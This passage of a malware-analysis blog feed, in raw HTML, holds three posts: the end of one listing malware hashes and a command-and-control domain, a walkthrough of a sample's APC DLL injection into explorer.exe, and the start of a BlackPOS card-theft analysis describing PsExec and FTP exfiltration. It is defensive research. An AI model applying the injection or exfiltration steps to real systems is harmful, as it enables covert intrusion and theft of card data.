&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaX93JoI3lwyBvKZZuDADH-U__8_GEUVW0uAW7Y7-_kEY8828D6DXeh5wRwET23vQ45ql22Z6f3TNKn64dnrHSIF8eKA-TMBRQIdpcNbCzt6RwGVnPK8mPGid4Z36YIkU7xoOaHUdgFto/s1600/jaxa_2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaX93JoI3lwyBvKZZuDADH-U__8_GEUVW0uAW7Y7-_kEY8828D6DXeh5wRwET23vQ45ql22Z6f3TNKn64dnrHSIF8eKA-TMBRQIdpcNbCzt6RwGVnPK8mPGid4Z36YIkU7xoOaHUdgFto/s1600/jaxa_2.png&quot; height=&quot;170&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following are additional malwares seen communicating with the same domain:&lt;br /&gt;
&lt;br /&gt;
2b91011e122364148698a249c2f4b7fe&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;www.sitclogi.co.jp&lt;br /&gt;
6c040be9d91083ffba59405f9b2c89bf&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;www.sitclogi.co.jp&lt;br /&gt;
&lt;br /&gt;
As usual , excercise extreme caution while opening documents from the unknown sources and use the patched versions of the softwares . You may never know what is hidden inside..!!.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2014/05/recent-targeted-attacks-against.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRo8VJiT7lVnp8_3pdBi39LjQrc1_GIgj0MlKL_9uo0WSsrTQFqHwVI4MMZ3HXzNQN0fH83g6RVfKJOA8FxEhAx1wHsyvMytmih1FtgjLHmsDv1aGBJO8pVraBlSnnZmXeT0813K_RGkY/s72-c/jaxa_3.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-4647520732366664171</guid><pubDate>Fri, 04 Apr 2014 17:36:00 +0000</pubDate><atom:updated>2014-06-04T23:11:19.177+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Malware Techniques</category><category domain="http://www.blogger.com/atom/ns#">Miscellaneous</category><title>Malware Uses Asynchronous Procedure Calls To Inject DLL Into Another Process ..!!</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
Over the period of time , several code injection / DLL injection techniques have been developed and used by malware authors for covert launching of malicious code . Injecting DLL into other legitimate process is a very well known and well documented technique to hide the execution of malicoius code . Several such DLL injection techniques have already been known for years . For instance , DLL can be injected into another process using known process enumeration APIs and then opening the handle to the targetted process using OpenProcess ( ) , subsequently allocating the memory using VirtualAlloc ( ) , doing the WriteProcessMemory( ) , and finally creating the remote thread using CreateRemoteThread ( ) . Similar goal can be achieved by direct code injection and setting the thread context to the injected code using SetThreadContext &amp;nbsp;( ) and executing the injected code in the targetted process .&lt;br /&gt;
&lt;br /&gt;
I recently came across the malware that used another flavour of DLL injection known as Asynchronous Procedure Calls ( APC ) injection . The precise idea behind this mechanism is : &amp;nbsp;If you can figure out the thread in the remote process which is in the alertable state or which is likely to go into alertable state, you can queue custom code to that thread which will be executed before the thread resumes . Threads can go into alertable state by calling APIs like WaitForSingleObjectsEx ( ) . Fortunately , for malware authors , finding such a target thread is not a difficult job . There will be several threads already into that state .&lt;br /&gt;
&lt;br /&gt;
Let&#39;s check how this goal is achieved in the recent malware that I analysed . I wont be digging into the full functionality of this malware but just the APC injection part . Initially , malware seems to have a corrupted import table so we&#39;ll have to allow it to construct it , until it is done with all the GetProcAddress( ) calls.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDOCOKMDCbJNDu-xWxLMXgMVZzAXbCFo6G95qC0IlqtI77XKm0q_uf2TG27Oqth2CCW8wT4_-UR_sJ746kTF8gfoE_UIgxCzf8kZd_CCpclKh8_0wwJpRozUcUIsphLNDt3f0EYToDXdI/s1600/mal1.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDOCOKMDCbJNDu-xWxLMXgMVZzAXbCFo6G95qC0IlqtI77XKm0q_uf2TG27Oqth2CCW8wT4_-UR_sJ746kTF8gfoE_UIgxCzf8kZd_CCpclKh8_0wwJpRozUcUIsphLNDt3f0EYToDXdI/s1600/mal1.png&quot; height=&quot;258&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If we look at the API trace , we will see some of the functions being resolved during the initial execution of the malware as shown below .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghD1Kb4h1s45MSQv2vosIovWfRmKsuKheYinSgcvubYlx1x_4LHf0C0NvdCOFjNrPsMjSogn7MAYhrR6TOS3M0G9KqpSWTuf98NCagbOqrQ3LIlkBVb9zg-CP86bnaPBuO3QIMv87Nsr0/s1600/mal2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghD1Kb4h1s45MSQv2vosIovWfRmKsuKheYinSgcvubYlx1x_4LHf0C0NvdCOFjNrPsMjSogn7MAYhrR6TOS3M0G9KqpSWTuf98NCagbOqrQ3LIlkBVb9zg-CP86bnaPBuO3QIMv87Nsr0/s1600/mal2.png&quot; height=&quot;156&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
After resolving all the function names , as you can see it drops the file &lt;b&gt;linkinfo.dll &lt;/b&gt;into the&lt;b&gt; &lt;/b&gt;windows directory. &amp;nbsp;We will see along the way at later point of time , this DLL will be queued for loading in the remote process .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcSZmFp9UDRjjnPVaPxDfGxNxoewsbnlv6oWOqbeRBagp_5rYqxsB0vcwEv_AmncKXVIzOHViEBjg6SmKYO1CavvI0en3PggGbgXgC-WE1BLjFvm_r6iko0TwRLW0ars6IbZZRp6NeR38/s1600/mal3.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcSZmFp9UDRjjnPVaPxDfGxNxoewsbnlv6oWOqbeRBagp_5rYqxsB0vcwEv_AmncKXVIzOHViEBjg6SmKYO1CavvI0en3PggGbgXgC-WE1BLjFvm_r6iko0TwRLW0ars6IbZZRp6NeR38/s1600/mal3.png&quot; height=&quot;123&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;FYI :&lt;/b&gt; Linkinfo.dll is basically a legitimate component in Windows which tracks the volume information / removable media . It can intercept all the write calls to the disk and ensures that data gets written on the correct disk volume . More info about this&amp;nbsp;&lt;a href=&quot;http://dll.paretologic.com/detail.php/linkinfo&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
As expected , it follows the usual process and sequence of API calls to find the target process to inject into. Calls&amp;nbsp;CreateToolhelp32Snapshot ( ) to get the snapshot of the all the running process , threads , modules used and then enumerates over the list to find the target process . Apparently it can be noticed , that it targets &quot;explorer.exe&quot; process .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxMS41xlBRi0O61w3KhS91o6b0ce7imSbE3mkAxmVo9h1F0cpgJ7s3E-8vK6-aPITEHYx_2v4gD2pRxGGdeNcMuEZ96xdXIIIcLAWhYLOtX_hvVdL4-HDlWinmZI4kVmzDOCMNDCdg2o8/s1600/mal4.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxMS41xlBRi0O61w3KhS91o6b0ce7imSbE3mkAxmVo9h1F0cpgJ7s3E-8vK6-aPITEHYx_2v4gD2pRxGGdeNcMuEZ96xdXIIIcLAWhYLOtX_hvVdL4-HDlWinmZI4kVmzDOCMNDCdg2o8/s1600/mal4.png&quot; height=&quot;218&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheODUS4QLzov4rxQz7eGYoYAukQXupAACPKIj-yk9M2vlAGKhpSA-4QqvrtKKr2flfq7ISIbAwIUTsyXdDeaD5jUdR_eqhatcYeMf05tSlWo2vH0mdRN0vGCafv3S4AaldB_yad8YVG0A/s1600/mal5.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheODUS4QLzov4rxQz7eGYoYAukQXupAACPKIj-yk9M2vlAGKhpSA-4QqvrtKKr2flfq7ISIbAwIUTsyXdDeaD5jUdR_eqhatcYeMf05tSlWo2vH0mdRN0vGCafv3S4AaldB_yad8YVG0A/s1600/mal5.png&quot; height=&quot;168&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Matching the explorer.exe , it allocates the virtual memory page into the process and then calls WriteProcessMemory ( ) to write the path to the &lt;b&gt;&quot;linkinfo.dll&quot; &lt;/b&gt;into the allocated space.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK5365Cz32l8rlChp8vUSeRG3GmWqDO-hYnuZwe5_4PVug8gqkJldYrX-eiD3n-1XGyzCIhyphenhyphenwaSRN0ZbFFBeYkf78-3N2krAda_JcRmx0z2udcLLxNtEg2DxPl2gXAGaWEdC3ZcSObzjQ/s1600/mal6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjK5365Cz32l8rlChp8vUSeRG3GmWqDO-hYnuZwe5_4PVug8gqkJldYrX-eiD3n-1XGyzCIhyphenhyphenwaSRN0ZbFFBeYkf78-3N2krAda_JcRmx0z2udcLLxNtEg2DxPl2gXAGaWEdC3ZcSObzjQ/s1600/mal6.png&quot; height=&quot;162&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Here is the memory map of the explorer.exe and we can notice the virtual memory being allocated and path to the DLL to be loaded written&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQnFqiHcPN1A_o-ZeTLhbqW7TPYXgQOtPlun2f7_2hdeEa-rk1_pJ383VYI6kYhJUa5MYR2xTUlfEnodY2fq7yo0JU6d-rwqf8wvbOKX7bbzJb2d6KZwDRelodpCZKiz-sHH19fMBB_-w/s1600/mal7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQnFqiHcPN1A_o-ZeTLhbqW7TPYXgQOtPlun2f7_2hdeEa-rk1_pJ383VYI6kYhJUa5MYR2xTUlfEnodY2fq7yo0JU6d-rwqf8wvbOKX7bbzJb2d6KZwDRelodpCZKiz-sHH19fMBB_-w/s1600/mal7.png&quot; height=&quot;148&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Until this point , malware follows the usual DLL injection sequence , but difference at this point here is to find the target thread in the explorer.exe . It enumerates the running threads inside the explorer.exe and determines the thread to queue a call . Let&#39;s see how it does that . It calls the Thread32First ( ) and Thread32Next ( ) with the same process handle 5EC ( explorer.exe )&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTHxMTB2d98aIkfNglJz3z1MD3E5OeUptJhlLobJH0FH2GOvdsvO21k_LeOmCaiEZQqHq8tjbGi5lDs5fg25p-r8a_ohevE0ba-lDSWfYDRq5QJcjTcEE0eDBxwcau2-xEi7ZZkIyJ440/s1600/mal8.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTHxMTB2d98aIkfNglJz3z1MD3E5OeUptJhlLobJH0FH2GOvdsvO21k_LeOmCaiEZQqHq8tjbGi5lDs5fg25p-r8a_ohevE0ba-lDSWfYDRq5QJcjTcEE0eDBxwcau2-xEi7ZZkIyJ440/s1600/mal8.png&quot; height=&quot;257&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enumerating all the threads , it finally ends up finding the thread identifier for the main thread of the explorer.exe process ( Ident : 5F0 ) :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhtXNWvMtw_kY9qFNk-WkWGpbipQN9hzVXUZP1kSebG7h04Gt9KK3KBsaMHbVyOn7THc275jbFOA7oquOVAsD3WcLBXDjzg2lLc8jfgi5UP_g23hioPdAMkQ-ueqdTuLSzoiQh8gM_IrA/s1600/mal9.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhtXNWvMtw_kY9qFNk-WkWGpbipQN9hzVXUZP1kSebG7h04Gt9KK3KBsaMHbVyOn7THc275jbFOA7oquOVAsD3WcLBXDjzg2lLc8jfgi5UP_g23hioPdAMkQ-ueqdTuLSzoiQh8gM_IrA/s1600/mal9.png&quot; height=&quot;105&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and subsequently , opens the handle to the thread :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7u-49tFzt3zSntDqatTYWpnqArWLoHpZTRXsVlmjsc4sDS_rM8kGBc29oRnqmV9gxtP39-W0MqoHEcqzCuBteQN64524LmUtcxcndgyMZypfDBrIyQJV8Uj9tG4SwSHwQ4VfdDA1wZKQ/s1600/mal10.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7u-49tFzt3zSntDqatTYWpnqArWLoHpZTRXsVlmjsc4sDS_rM8kGBc29oRnqmV9gxtP39-W0MqoHEcqzCuBteQN64524LmUtcxcndgyMZypfDBrIyQJV8Uj9tG4SwSHwQ4VfdDA1wZKQ/s1600/mal10.png&quot; height=&quot;100&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
and then finally , calls QueueUserAPC ( ) to queue the call to the LoadLibraryA for the opened thread .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlxdP0HMs5iZqTN-2tYfJTlnxlrdnPXGuNpjwwUpP04GvCHoLEJZSdooj3HmetAS7DhF0WocfU69np1G5D3h60qm-1Y8e_6vW32N_sKyBX_58aw06Vzu1h2rTdvhuT-U7blbvSZXGx2cE/s1600/mal11.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlxdP0HMs5iZqTN-2tYfJTlnxlrdnPXGuNpjwwUpP04GvCHoLEJZSdooj3HmetAS7DhF0WocfU69np1G5D3h60qm-1Y8e_6vW32N_sKyBX_58aw06Vzu1h2rTdvhuT-U7blbvSZXGx2cE/s1600/mal11.png&quot; height=&quot;66&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre style=&quot;font-family: Consolas, Courier, monospace !important; font-size: 14px; line-height: 20.005998611450195px; overflow: auto; padding: 5px; word-wrap: normal;&quot;&gt;&lt;/pre&gt;
Details of the QueueUserAPC ( ) API is available on &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684954%28v=vs.85%29.aspx&quot;&gt;MSDN&lt;/a&gt;. And here we see . Linkinfo.dll being loaded into explorer.exe . Mission over..!!..&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ18NUk-iWlD1TPYdnwTut0JxvdKqEpi2zDuH_Cy_0Kulr9yrNlTuzBhTe7LWAv2uk7WKyiDxgtHxPXGe3nHXzs1IVsfKkpWrJuWT9tiFR25qqcXSuLrCivRCqVJnBHgZd8pevb54os4c/s1600/mal12.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJ18NUk-iWlD1TPYdnwTut0JxvdKqEpi2zDuH_Cy_0Kulr9yrNlTuzBhTe7LWAv2uk7WKyiDxgtHxPXGe3nHXzs1IVsfKkpWrJuWT9tiFR25qqcXSuLrCivRCqVJnBHgZd8pevb54os4c/s1600/mal12.png&quot; height=&quot;78&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
APC injection is one of the method of DLL injection into the remote process . This is usually done from the user space as demoed in this blog . This goal can also be achieved from the kernel space by calling corresponding kernel APIs.&amp;nbsp;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2014/04/malware-uses-asynchronous-procedure.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDOCOKMDCbJNDu-xWxLMXgMVZzAXbCFo6G95qC0IlqtI77XKm0q_uf2TG27Oqth2CCW8wT4_-UR_sJ746kTF8gfoE_UIgxCzf8kZd_CCpclKh8_0wwJpRozUcUIsphLNDt3f0EYToDXdI/s72-c/mal1.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-5794274074175144090</guid><pubDate>Tue, 04 Feb 2014 07:53:00 +0000</pubDate><atom:updated>2014-06-04T23:12:35.314+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">APT and Targeted Attacks</category><category domain="http://www.blogger.com/atom/ns#">Botnet Research</category><title>POS Malwares On The Rise - BlackPOS Attacking Point-of-Sale Devices Yet Again ! </title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
POS malwares has been on the rise since last few quarters . We&#39;ve been witnessing increasing volume of the malwares targetting Point of Sale devices . These malwares primarily get installed on the windows terminals used as point of sale in the stores , enumerates the process memory and reads the track1 / track2 information from the RAM as and when terminals reads the information embossed in the megnetic strips of the card. This information is the sent back to the C&amp;amp;C server. Apparently , tt could be used by the attackers to clone the card with the same information and further , embossing equipments like CC embosser / Printer / writer machines readily available in the market can be used to make the cards look like the original one . I blogged about one of the similar attack in the past called &lt;a href=&quot;http://extreme-security.blogspot.in/2013/04/vskimmer-botnet-targets-point-of-sale.html&quot;&gt;Vskimmer&lt;/a&gt;&amp;nbsp;.&lt;br /&gt;
&lt;br /&gt;
Another attack named BlackPOS very similar to this has been around for a while targetting the Neiman Marcus and Target stores compromising almost 110 Million customers. Neiman Marcus group confirmed this attack :&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPyrn5uUDmKrn5gRyQTQXY572Qo-BeBg96ogM_M6EzecI8G27Rn1tSLpKTewP3NRm6AbN1SUdnfFg707eAVv1FxSOPeSUOQ3rdeFXcfbvw3eSS5diFVoUh0Yih_1K99uiLlpgvtUCl-5c/s1600/blackpos6.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPyrn5uUDmKrn5gRyQTQXY572Qo-BeBg96ogM_M6EzecI8G27Rn1tSLpKTewP3NRm6AbN1SUdnfFg707eAVv1FxSOPeSUOQ3rdeFXcfbvw3eSS5diFVoUh0Yih_1K99uiLlpgvtUCl-5c/s1600/blackpos6.png&quot; height=&quot;166&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This has extensively been talked about in the blog post by Xylibox over &lt;a href=&quot;http://www.xylibox.com/2013/05/dump-memory-grabber-blackpos.html&quot;&gt;here&lt;/a&gt;. I&#39;ve had a look at one of the sample related to this attack to see how it exfilterates the stolen information. One of the way malware is found to be generating the network traffic is by executing the commands via &quot;PsExec&quot; sysinternals tool . PsExec is the utility to execute the processes on the remote system. It can invoke the command prompt on the remote systems as well .&lt;br /&gt;
&lt;br /&gt;
BlackPOS connects to the SMB share on the hardcoded IP address 10.116.240.31 which is kind of presumed to be the internal subnet IP of the targetted stores and executes the taskkill command invoking the command shell on the remote system.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3twgnv-qzNwy7Mg0WwBJ5bkaMVjPksUKHRiKaZ8fJMRH0CbRe35m4WqmOBzNHDxS4284KFcIBaDdfsKxrr7gyH7KGc2yY8-tmYJP3Wzhgv3gFAvwklNv6j3GnyaNp-Vo2SIP8Yegn5xI/s1600/blackpos.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3twgnv-qzNwy7Mg0WwBJ5bkaMVjPksUKHRiKaZ8fJMRH0CbRe35m4WqmOBzNHDxS4284KFcIBaDdfsKxrr7gyH7KGc2yY8-tmYJP3Wzhgv3gFAvwklNv6j3GnyaNp-Vo2SIP8Yegn5xI/s1600/blackpos.png&quot; height=&quot;121&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
It creates the log file with the name of the current system time and date . For instance during the time of execution of this malware it created the file with the name data_2014_2_3_16_11 . It drops the txt file &quot;&lt;b&gt;cmd.txt&lt;/b&gt;&quot; in the same directory with the list of commands it would execute from the command shell while opening the FTP connection to the C&amp;amp;C server . Below you can notice the &lt;b&gt;&quot;open&quot; &lt;/b&gt;command being used . This can be fired from the command prompt after entering the FTP shell prompt .&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNElHjIEPumfdUp8n34XVQJQE9z5Xo5s6qSqUoYV8vBOwleAMY61HrVVLrYFbP6Tsf8ewF3z1jZE-3P1Md5sm-6pXyY19PZFoeQ8VtntNWbgHsC7aMdn57fnZT8YfD9wKxMrBWia7Ydhs/s1600/blackpos7.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNElHjIEPumfdUp8n34XVQJQE9z5Xo5s6qSqUoYV8vBOwleAMY61HrVVLrYFbP6Tsf8ewF3z1jZE-3P1Md5sm-6pXyY19PZFoeQ8VtntNWbgHsC7aMdn57fnZT8YfD9wKxMrBWia7Ydhs/s1600/blackpos7.png&quot; height=&quot;81&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Below screenshot shows the dropped cmd.txt file with all the ftp commands along with username and password :&lt;br /&gt;
&lt;br /&gt;
